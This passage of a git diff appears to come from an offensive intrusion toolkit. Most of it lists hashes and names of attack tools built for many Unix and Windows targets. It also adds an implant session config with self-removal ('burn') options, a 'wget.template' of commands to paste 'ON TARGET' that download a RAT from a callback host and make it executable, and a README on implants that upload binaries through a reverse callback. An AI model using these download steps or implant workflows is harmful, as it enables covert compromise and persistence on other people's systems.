+4214A7541803C3AC87C3C491487F11E96FC4B058 Tue Nov 8 16:45:11 2011 [PITCHIMPAIR.xx] cursehappy.hpux11.00.risc_v.6.2.0.3 +397DF64863C130F5BD3C8A1E179C86CD6B48F23F Tue Nov 8 16:45:11 2011 [PITCHIMPAIR.xx] cursehappy.sunos5.8.sparc_v.6.2.0.3 +FBF7334531AED88C938B61F394FFAAC0FB01D38E Tue Mar 6 12:17:33 2012 [PITCHIMPAIR.xx] cursehelper.win2k.i686_v.2.2.0.4 +733D6939BD35C01661017299D21DA157EF4FF210 Fri Feb 10 16:06:24 2012 [PITCHIMPAIR.xx] cursehelper.sunos5.8.sparc_v.2.2.0.4 +68DA058E84F85135CC93836394FE2AA761DAA712 Tue Mar 6 12:17:26 2012 [PITCHIMPAIR.xx] cursehelper.aix5.1.powerpc_v.2.2.0.4 +5346758117978E6DD9614D06E03F1139436D3BB3 Tue Mar 6 12:17:31 2012 [PITCHIMPAIR.xx] cursehelper.hpux11.00.risc_v.2.2.0.4 +B8009CA04040EBECE514073BD822DA91C3DB7A32 Wed May 16 14:27:09 2012 [PITCHIMPAIR.xx] cursekettle.hpux11.00.risc_v.1.1.0.2 +BFAF9F5CF11D26ED93A4BF6359D7AF02A298343C Fri Dec 2 15:24:24 2011 [PITCHIMPAIR.xx] cursekiln.sunos5.8_v.1.0.1.3 +F191378B2B009A1DAF0DBEB5F066AC1D981CF12E Fri Oct 14 15:40:54 2011 [PITCHIMPAIR.xx] cursemagic.aix5.1_v.2.1.0.3 +D1BBDA568B0EFBEEC395203C67659B154A1523FA Fri Oct 14 15:40:54 2011 [PITCHIMPAIR.xx] cursemagic.linuxrh7.3_v.2.1.0.3 +4E5418CB07531150AF21CFEF2E61CFBC7AA7841F Fri Oct 14 15:40:54 2011 [PITCHIMPAIR.xx] cursemagic.sunos5.8_v.2.1.0.3 +4DD9975EF41041B5EBB7436D0133E5D2E94AAF36 Fri Oct 14 15:40:54 2011 [PITCHIMPAIR.xx] cursemagic.hpux11.00_v.2.1.0.3 +BD253FF1DB61808424630608C610E4C7B8A6CC01 Mon Mar 19 12:23:43 2012 [PITCHIMPAIR.xx] curseroot.aix5.1.powerpc_v.2.2.0.7 +8D8996D5B82BC9AAA0310B982FD048FB77644107 Wed Mar 28 11:55:43 2012 [PITCHIMPAIR.xx] curseroot.linux2.6.5-7.97-smp.i686_v.2.2.0.7 +3D7B80D8003A10D08ECA4FFDD595F105FAB50FA3 Wed Mar 28 11:55:36 2012 [PITCHIMPAIR.xx] curseroot.hpux11.00.risc_v.2.2.0.7 +D114B8EC196B7DEFEEE751CE73932B6F952178BE Wed Mar 28 11:55:54 2012 [PITCHIMPAIR.xx] curseroot.sunos5.8.sparc_v.2.2.0.7 +4BA1C2E353A787A409556BB9EBD021690F992C52 Thu Aug 11 16:58:48 2011 [PITCHIMPAIR.xx] cursetingle_flx.win2k.i686_v.1.0.1.3 +EA087A035E3E01804E8E43C9DA8AB58C25A3038B Tue Mar 20 16:52:36 2012 [PITCHIMPAIR.xx] cursewham.linuxrh7.3.i686_v.1.1.0.1 +E6D8C35163092B1235B6356214610361B6FBB7DC Tue Feb 28 16:42:07 2012 [PITCHIMPAIR.xx] cursewham.win2k.i686_v.1.1.0.1 +427536C8C3BBC2B60217AD36F3BB7CE107810933 Thu Aug 11 12:54:32 2011 [PITCHIMPAIR.xx] cursewham.win2k.i686_v.1.0.0.3 +52FA122317861F7B506BD42435E6A96F48C69514 Fri Jan 27 21:19:04 2012 [PITCHIMPAIR.xx] cursezinger.sunos5.8_v.2.0.0.2 +CF097DD7F41B28BEF37872C3A365F06C745795F8 Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_silenttongues.def +206FB9B0C4082713BF196ED46B9804ED396755F6 Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_editionhaze.def +6CD24B209838FB24E1C315B562BC20DE84E2AECE Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_sicklestar.def +94FB6A9E314411A8B7E218FE9D90024D7CD2F5BC Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_liquidsteel.def +F90BF1760240DE17E5FC071F1C3063A05E1DD520 Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_serenecosmos.def +142AED7F932D815AE0377A85A6DC2F26034C0E51 Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_wholeblue.def +91789934742FEF4C0FE5D2052F9EC510BC628CDC Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_diamondaxe.def +7B891F110A778F684231C33AF9EC7CF8F384FE2E Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_coastalstorm.def +2B1F44DB220DC26A58007DA88B0683952B40D520 Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_shakengiraffe.def +EF6BE9C97CC8B07B276FC0ABEFA4C0A396603462 Wed Jan 2 21:33:14 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_darkaxe.def +0D7217C6F1F1A51D7D6FC0CA007256677C3190EF Mon Jul 23 14:22:18 2007 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.1.0.6_solaris8_wholeblue.def +787291960EA1A4A25FCB7CEC211CD6877F3FF283 Mon Jul 23 14:20:06 2007 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.1.0.6_solaris8_diamondaxe.def +BFD3DB20E680E1C86D96890A9DC28A23F77EE395 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_liquidsteel.def +3C1DF27B3D8A916AFD5964FFF0CC7AC8BD23ED56 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_wholeblue.def +251239DB5B366270CDFA102C946A770E93150CF1 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_serenefire.def +A86D5F26ABC665BBA6B8C6B9FE43EE5B60902DC0 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_shakengiraffe.def +F82A5048C70FBEDDC0A0D0DA744C95691E5A84DF Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_coastalvortex.def +7B9993F5452169007DB5AA7FEFE0DEB4D39B38C4 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_sloshedgalah_a.def +576F21F463CD31FB7537159B21C000F3D02BCD08 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_sloshedgalah.def +9DCD211BB1AC3B42F2D82593E765AED5291BF10F Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_editionhaze.def +F15C0D7475F24D57A0DDD64301D9722E4C6133DC Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_silenttongues.def +EC4067720EF67F87F1DA149F685A920035289DE2 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_sicklestar.def +0BDF2D3899FE46B93786374EEBBCEC7A3F8A6187 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_serenecosmos.def +6ECBD8F6AD69430F218D03FCED61AE9C28BAF87D Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_diamondaxe.def +2178F21F6EBD967DCDC53918043D8DAD4D35290B Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_coastalstorm.def +C699D32DAB56EA5EEC25D100C9CB3590CD58C709 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_coastalburn.def +A6929A7C8A25F033A8261607347E5885E3C6803D Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_darkaxe.def +9CC3EBBDDAC5B2270878B6291CD3D90DE7E85649 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_paperfish.def +23EE35962023D72BFB021E2E8937CC8B6095E635 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_darkaxe_moc_mtc_only.def +A08866353BC5953B6346F07E0607E4B93504098D Mon Nov 27 20:45:10 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_editionhaze.def +258C7D06A42F22F0D2855DB2EE499C5B44BB412B Mon Nov 27 20:46:25 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_silenttongues.def +EEF893ED6057D23F410EF37B82F4F7B9478BBDC3 Mon Nov 27 20:46:17 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_sicklestar.def +63DE1E981DB1317838756EBCDDAC8483AAF93AFE Mon Nov 27 20:45:36 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_liquidsteel.def +42BE054AE4D7EBEB277254A95272B261F0361227 Mon Nov 27 20:45:57 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_serenecosmos.def +50D7874B6856A3E89C31CCFE8CBBD02E0FD5E345 Mon Nov 27 20:46:33 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_wholeblue.def +0222399D32F29B0539FCDA4FC2122953CED91F95 Mon Nov 27 20:46:09 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_shakengiraffe.def +1961403A389AA9653215546438571720835A4689 Thu Aug 19 19:54:51 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.1.0.1_wholeblue.def +E14E0DFF1A030665E39B02ED2EB7046641627BFE Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_liquidsteel.def +8413E3019FBD6FC661B056C98B6B33FE5E0603B1 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_wholeblue.def +49705A37A69390E2ABAAB508388BD9CC86ECBBA1 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_serenefire.def +857CEAB84D0A16C682D9DC00260B0D02419E0012 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_shakengiraffe.def +AD83E494D0A6B6AA2054057A02B4788B371CCF61 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_coastalvortex.def +3B3BEC1976DF159B9E2B82A6CAC358E156DBD664 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_sloshedgalah.def +1ECF586F8E8E9650DA1B00329903BCF55BEBC21A Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_sloshedgalah_a.def +EB414EBA11C7CC3A90A85C4D309284672B401C88 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_editionhaze.def +2933B4AF9C7C0E0CB79EA69490C2E24FB9FF6806 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_silenttongues.def +F0C90A7F2CE120DE182DEA28ED9CCC15A5D6DE6B Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_sicklestar.def +49055EE6C916C2B6B64A20F31B254CBE9ADDC114 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_serenecosmos.def +AAB5302FBD7740DDA4FBC93DC337F6C274F26353 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_diamondaxe.def +7D5EC70CEA5E2FC8F6998A7FE925F58918638FF6 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_coastalstorm.def +A5CDB89C152D912A7345CDBA4D6D31FEE3D2F498 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_coastalburn.def +EBC4E8AEC8FE49C7E1F9DE51379342B088AB3F52 Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_darkaxe.def +C6728288F07E895BA8292C504CCAE6602150D60F Tue Nov 8 16:45:21 2011 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.2.0.3_paperfish.def +3A67D14F31382091464C351FB1E3233327ABD2C1 Thu Apr 9 15:38:40 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_editionhaze.def +BC959233089AC8541034245E41E257B17F170342 Thu Apr 9 15:41:11 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_silenttongues.def +DBB2E08DD34A9BE28515B9D5F126727752E36FC8 Thu Apr 9 15:41:00 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_sicklestar.def +7720BF9C08C6D108E6BAD601C6EA9085EF271EE5 Thu Apr 9 15:38:49 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_liquidsteel.def +DD120D8D6F2A1ADEA2144BD7604AD703F4403E7D Thu Apr 9 15:40:25 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_serenecosmos.def +2725F1ADF5FF426EAF7581EBE372F652AF7E302C Thu Apr 9 15:41:23 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_wholeblue.def +4EB0165C56DDAED4E081FD6834BEDD8597767090 Thu Apr 9 15:40:38 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_serenefire.def +8EF4758951A97A257CFFB6739D4B14D70F849635 Thu Apr 9 15:38:28 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_diamondaxe.def +FED3DEAB75C9E6E7A64C2FA6B3489243A9401EC6 Thu Apr 9 15:37:55 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_coastalstorm.def +B9D2EC0D0D2A1C0D1BDFD4330F27050FE199409B Thu Apr 9 15:37:43 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_coastalburn.def +D004D0578D9EC7EF294132A8F2F16463EC61881E Thu Apr 9 15:40:50 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_shakengiraffe.def +6E232ABE39D45E79FC45059EEF4061FF82C62AB7 Thu Apr 9 15:38:19 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_darkaxe.def +5E43B1DE915429F25784E86C7FF3BD7B0BF0A996 Thu Apr 9 15:39:03 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_paperfish.def +F72B0887165ACB48F5EAE807F38B181D4B6BC813 Fri Oct 14 15:41:33 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_editionhaze.def +071C48EBECF9350BA4CF8BA2BACFB9AB119722CF Fri Oct 14 15:41:33 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_serenecosmos.def +A68A987E1791B424F6A2DFB0FFF8EA73A88F73F7 Fri Oct 14 15:41:33 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_wholeblue.def +93BEB97832FE20B31CFE097FFDCF83BF8651BDF5 Fri Oct 14 15:41:33 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_diamondaxe.def +419926A12101EAE1ECAE7EDD9474848F2DE3A6E7 Fri Oct 14 15:41:33 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_vocalcottage.def +F4B60A44092B48545A6E4B97C5D1E887F0A45C7E Fri Oct 14 15:41:33 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_coastalburn.def +EBE567BFD4EC9CFCF52C65F74C63CBB2F03A71DD Fri Oct 14 15:41:34 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_stirredgibbon.def +3A6C1612CA4A4EAF6D8DA11D6C3F669E7EBC17F6 Fri Oct 14 15:41:34 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_sloshedgalah.def +763EB2323E24DDEE62EA598C2F7926282A648335 Fri Oct 14 15:41:34 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_darkaxe.def +013A8D6BDC153C1396D748F2B096445A49D07258 Fri Oct 14 15:41:35 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_fiestarun.def +4A8347414EA85A57192CBFFBA1A7A3E103D2BD85 Fri Oct 14 15:41:35 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_ironglass.def +1FC5F577788D811FD405D069F779206E8190CA3F Fri Oct 14 15:41:36 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_paperfish.def +DD7D0E240C0643E75CFA2AA6E55CABEA17C5A4C3 Tue Apr 20 18:59:58 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_editionhaze.def +74BC2BA60060F7F739879EE84AB9D14475694073 Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_serenecosmos.def +7A95F5D43F7C484456796BB5F74D3D977F85F6B8 Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_wholeblue.def +96F4B94FBEA64584D82C6892332956EC9426FE4E Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_diamondaxe.def +A3E68E6B40FC1F4BBF1506F4E4D832F389669933 Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_vocalcottage.def +9BEB9D7CE0DED7338285CC29D610A003F2B0C71F Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_stirredgibbon.def +DAA63BBA2DAF7E157A24F2824408240A85655050 Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_coastalburn.def +1D36BF459C845B73EAB88AF3FA89DA64A41E4724 Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_sloshedgalah.def +D3298E27F6F6A3D2D98339818989D555DE60E1AA Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_fiestarun.def +559FA9C9AF7B149D7E8EC7ED88135EEE4CDC4C46 Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_ironglass.def +8836E57B5867DD3BCFF8C62478232FC059B28090 Tue Apr 20 18:59:59 2010 [PITCHIMPAIR.xx] cursemagic_aix_v.superseded_paperfish.def +15AB11863C523DD274B9638AC4C5EDC09D009AB1 Mon Jan 30 13:11:36 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_serenemount.def +44B5C9749A14B6F4F44D36562CF3BA4C84F01989 Mon Jan 30 13:11:36 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_sicklestar.def +4DD570DF33B004955834B3D02E1A939DE134E7D0 Mon Jan 30 13:11:36 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_mossyoak.def +23D3981691669366E013B855B5244D754CE00ADF Mon Jan 30 13:11:36 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_spamjavelin.def +F5EDD2B65AC044E6538706114CAC78D765EFCB27 Mon Jan 30 13:11:36 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_sloshedgalah.def +E8DE3FFDE642F33940EB7B17304F17138AFF4961 Mon Jan 30 13:11:37 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_doublearsenal.def +0564E3F02B58EA50F9E37AD41ED8894484A2D0BA Thu Apr 12 12:01:28 2012 [PITCHIMPAIR.xx] curseclash.v1.0.0.3.aix5.1.powerpc_v.superceded +D01502934C089EA1316F659B5DBC80AE891DCA11 Tue Aug 8 14:24:12 2006 [PITCHIMPAIR.xx] dampcrowd.i686-pc-linux-gnu-redhat-5.0_v.2.0.0.1 +3A4BE0A37F98276B427F0EC2985475232B549B28 Tue Aug 8 14:24:12 2006 [PITCHIMPAIR.xx] dampcrowd.sparc-sun-solaris2.5.1_v.2.0.0.1 +58BD98A189A88173E8A705D854C220192D58A288 Wed Jun 27 19:00:55 2012 [PITCHIMPAIR.xx] dampcrowd.i386-pc-solaris2.6_v.2.0.0.1 +A83C41B50DB8A6D4B8EC62CA994123E9FD20C539 Thu Jul 31 20:38:12 2008 [PITCHIMPAIR.xx] dampcrowd.pa-risc1.1_v.2.0.1.1 +84351B4174D5CDB8B79FE0D27BDD2F0A821F1977 Tue Aug 15 19:32:09 2006 [PITCHIMPAIR.xx] dampcrowd.powerpc-aix3.4_v.2.0.0.2 +99FDFEC3A7987E0AC44A70A1E151B0D7CF255F93 Mon Feb 13 12:49:34 2012 [PITCHIMPAIR.xx] enemyrun.sunos5.8_v.4.0.0.5 +7120D410762BEFC7C52320DD3EADC6E9F9572B48 Mon Feb 13 12:49:34 2012 [PITCHIMPAIR.xx] enemyrun.hpux11.00_v.4.0.0.5 +BA230F9E0CDB877EFEB4D0FA607E60E249852D42 Mon Feb 13 12:49:34 2012 [PITCHIMPAIR.xx] enemyrun.linuxrhe3.6_v.4.0.0.5 +6ED9AEE28FF29FC7662E917966E8DACA88684FBB Mon Feb 13 12:49:34 2012 [PITCHIMPAIR.xx] enemyrun.sunos5.8.i386_v.4.0.0.5 +0992DC598EC7BD5F9AEA57B27FD9C768189CC727 Mon Feb 13 12:49:34 2012 [PITCHIMPAIR.xx] enemyrun.linuxrh7.3_v.4.0.0.5 +FD4AAB02DF0364B049723EE34BBF92C9472426D6 Fri Oct 14 22:29:43 2011 [PITCHIMPAIR.xx] watcher.x86-solaris_v.2.7.0.0 +65B31BEB0E547D5A4379853F179B64549E4C1394 Fri Oct 14 22:29:43 2011 [PITCHIMPAIR.xx] watcher.x86-linux_v.2.7.0.0 diff --git a/Linux/etc/special.NOPENsampleTASK.127.0.0.1.cfg b/Linux/etc/special.NOPENsampleTASK.127.0.0.1.cfg new file mode 100644 index 0000000..21c9175 --- /dev/null +++ b/Linux/etc/special.NOPENsampleTASK.127.0.0.1.cfg @@ -0,0 +1,71 @@ + + +In special.NOPENsampleTASK.127.0.0.1.cfg Mon Oct 25 19:25:55 GMT 2010 + +NOTES: + * Files like this in /current/down and named in any of these formats + must follow these guidelines (and this sample file can be used exactly + as is, the original simply does a "w" three times): + special.NOPENstringTASK.cfg + special.NOPENstring.IP.TASK.cfg + special.NOPENstringTASK.cfg + * Be sure to avoid calls to functions or autoscripts that require + interactivity. + + * Commands to do in this NOPEN session use the following syntax + (without the initial # which turns this example into a comment): + # NOPEN_DO[ NN]: COMMAND + where NN is the optional number of times to do the command, which + defaults to one, < 0 is forever. However, if forever is desired, + it MUST be the final NOPEN_DO line. + * Repeat syntax (repeats all commands herein): + # REPEAT[ NN]: YES + * Sleep syntax allows a sleep between repeated blocks of commands when + used with the REPEAT option (and is ignored unless REPEATing): + # SLEEP: N + * Note that combining these lines is similar to a -holdwindow: + # REPEAT:YES + # NOPEN_DO:-w + # SLEEP:180 + * The NOPEN_DO -exit or \-burnBURN command must be last, and autorunonce + ensures that command is done LAST (after any REPEATs are done). + * If REPEAT is used, any -exit or \-burnBURN lines will be done + only once, after the REPEAT count is exhausted, and ALL valid + commands below will be repeated that many times. If no count + is provided, it repeats forever. + +All other lines are simply ignored. + +Examples follow, commenting with # or removing a letter in "NOPEN_DO" have +the same effect, the line is ignored. + + + +NOPEN_DO 0: echo this should not run + +#NOPEN_DO: -ctrl -d +NOPEN_DO: w +#NOPEN_DO: -lss -xm 01-01-2000 /etc +#NOPEN_DO: -gs dfcheck + +# If used, -exit, \-burnBURN or any infinite command must be last, +# and only one such can be used. + +# To repeat ALL of the above, use REPEAT NN: YES +# where NN is the count of times to repeat, which defaults TO FOREVER. +REPEAT3: YES + +# Use SLEEP: N to sleep N seconds between REPEATed commands. +SLEEP: 2 + +# Use STOPFILE: string to stop infinite repeats once +# /current/tmp/STOPFILE_string exists +STOPFILE: stopfile_sample + +# End with an -exit unless you want the window to stay live (and interactive). +#OPEN_DO: -exit +# End with \-burnBURN to actually burn (no scripty burn just BURN). +#OPEN_DO: \-burnBURN + +# To do any one command infinitely, use a negative count. +#OPEN_DO -1: w diff --git a/Linux/etc/wget.template b/Linux/etc/wget.template new file mode 100644 index 0000000..94824e9 --- /dev/null +++ b/Linux/etc/wget.template @@ -0,0 +1,23 @@ +####################################################################################### +####################################################################################### +##### +##### wget.pastable Pasteables! +##### +####################################################################################### +####################################################################################### + +######################################################## +# Using Redirection? Here are your tunnel pasteables: # +######################################################## +-tunnel +r RATUP_CBPORT + +##################################################### +# Copy/Paste this in your exploit window ON TARGET # +##################################################### +wget --no-check-certificate --no-verbose --secure-protocol=TLSv1 https://RATUP_CBIP:RATUP_CBPORT/RAT_NAME +chmod 755 RAT_NAME + +## or if NO wget, try this: +GET https://RATUP_CBIP:RATUP_CBPORT/RAT_NAME > RAT_NAME + diff --git a/Linux/padding b/Linux/padding new file mode 100644 index 0000000..a86a9fe Binary files /dev/null and b/Linux/padding differ diff --git a/Linux/up/Dewdrop_3.1.0.1_i386-linux b/Linux/up/Dewdrop_3.1.0.1_i386-linux new file mode 100755 index 0000000..2a2ccc6 Binary files /dev/null and b/Linux/up/Dewdrop_3.1.0.1_i386-linux differ diff --git a/Linux/up/Dewdrop_3.1.0.2_sparc-solaris8-10 b/Linux/up/Dewdrop_3.1.0.2_sparc-solaris8-10 new file mode 100755 index 0000000..5ce4eef Binary files /dev/null and b/Linux/up/Dewdrop_3.1.0.2_sparc-solaris8-10 differ diff --git a/Linux/up/Dewdrop_3.1.0.3_sparc-solaris-gcc b/Linux/up/Dewdrop_3.1.0.3_sparc-solaris-gcc new file mode 100755 index 0000000..5ce4eef Binary files /dev/null and b/Linux/up/Dewdrop_3.1.0.3_sparc-solaris-gcc differ diff --git a/Linux/up/Dewdrop_3.1.0.4_i386-freebsd-gcc b/Linux/up/Dewdrop_3.1.0.4_i386-freebsd-gcc new file mode 100755 index 0000000..ef25104 Binary files /dev/null and b/Linux/up/Dewdrop_3.1.0.4_i386-freebsd-gcc differ diff --git a/Linux/up/Dewdrop_3.1.0.X_README b/Linux/up/Dewdrop_3.1.0.X_README new file mode 100644 index 0000000..f57c619 --- /dev/null +++ b/Linux/up/Dewdrop_3.1.0.X_README @@ -0,0 +1,14 @@ +-rwxr-xr-x 1 root root 40013 Oct 14 13:39 Dewdrop_3.1.0.1_i386-linux +-rwxr-xr-x 1 root root 37504 Oct 14 13:41 Dewdrop_3.1.0.2_sparc-solaris8-10 +-rwxr-xr-x 1 root root 37504 Oct 15 15:02 Dewdrop_3.1.0.3_sparc-solaris-gcc +-rwxr-xr-x 1 root root 79758 Oct 15 15:03 Dewdrop_3.1.0.4_i386-freebsd-gcc + +-rwxr-xr-x 1 root root 66369 Oct 14 13:41 ../bin/tipoff-3.1.0.x + +2009-10-15 15:09:05 EDT These Dewdrops, used with this tipoff (not released yet as of 15 OCT) +can handle the new tipoff option --execute, which uses the reverse callback to upload the +binary without any shell or uu*code. Use the ourtn/-irtun option -w BIN to use this feature, +using -J to piont to ../bin/tipoff-3.1.0.x. + + + diff --git a/Linux/up/Dewdrop_3.1.3.1_i386-linux b/Linux/up/Dewdrop_3.1.3.1_i386-linux new file mode 100755 index 0000000..763c485 Binary files /dev/null and b/Linux/up/Dewdrop_3.1.3.1_i386-linux differ diff --git a/Linux/up/Dewdrop_3.1.3.3_sparc-solaris7-10 b/Linux/up/Dewdrop_3.1.3.3_sparc-solaris7-10 new file mode 100755 index 0000000..c172d23 Binary files /dev/null and b/Linux/up/Dewdrop_3.1.3.3_sparc-solaris7-10 differ diff --git a/Linux/up/Dewdrop_3.1.3.4_i386_freebsd b/Linux/up/Dewdrop_3.1.3.4_i386_freebsd new file mode 100755 index 0000000..14cbb83 Binary files /dev/null and b/Linux/up/Dewdrop_3.1.3.4_i386_freebsd differ diff --git a/Linux/up/Dubmoat-sparc-solaris-1.0.0.2_Ssh b/Linux/up/Dubmoat-sparc-solaris-1.0.0.2_Ssh new file mode 100755 index 0000000..9a8b151 Binary files /dev/null and b/Linux/up/Dubmoat-sparc-solaris-1.0.0.2_Ssh differ diff --git a/Linux/up/Dubmoat-sparc-solaris-1.0.0.2_TruncateFile b/Linux/up/Dubmoat-sparc-solaris-1.0.0.2_TruncateFile new file mode 100755 index 0000000..d3c7fc3 Binary files /dev/null and b/Linux/up/Dubmoat-sparc-solaris-1.0.0.2_TruncateFile differ diff --git a/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.0 b/Linux/up/OLD.pcleans/pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.0 new file mode 120000 index 0000000..04860cb --- /dev/null +++ 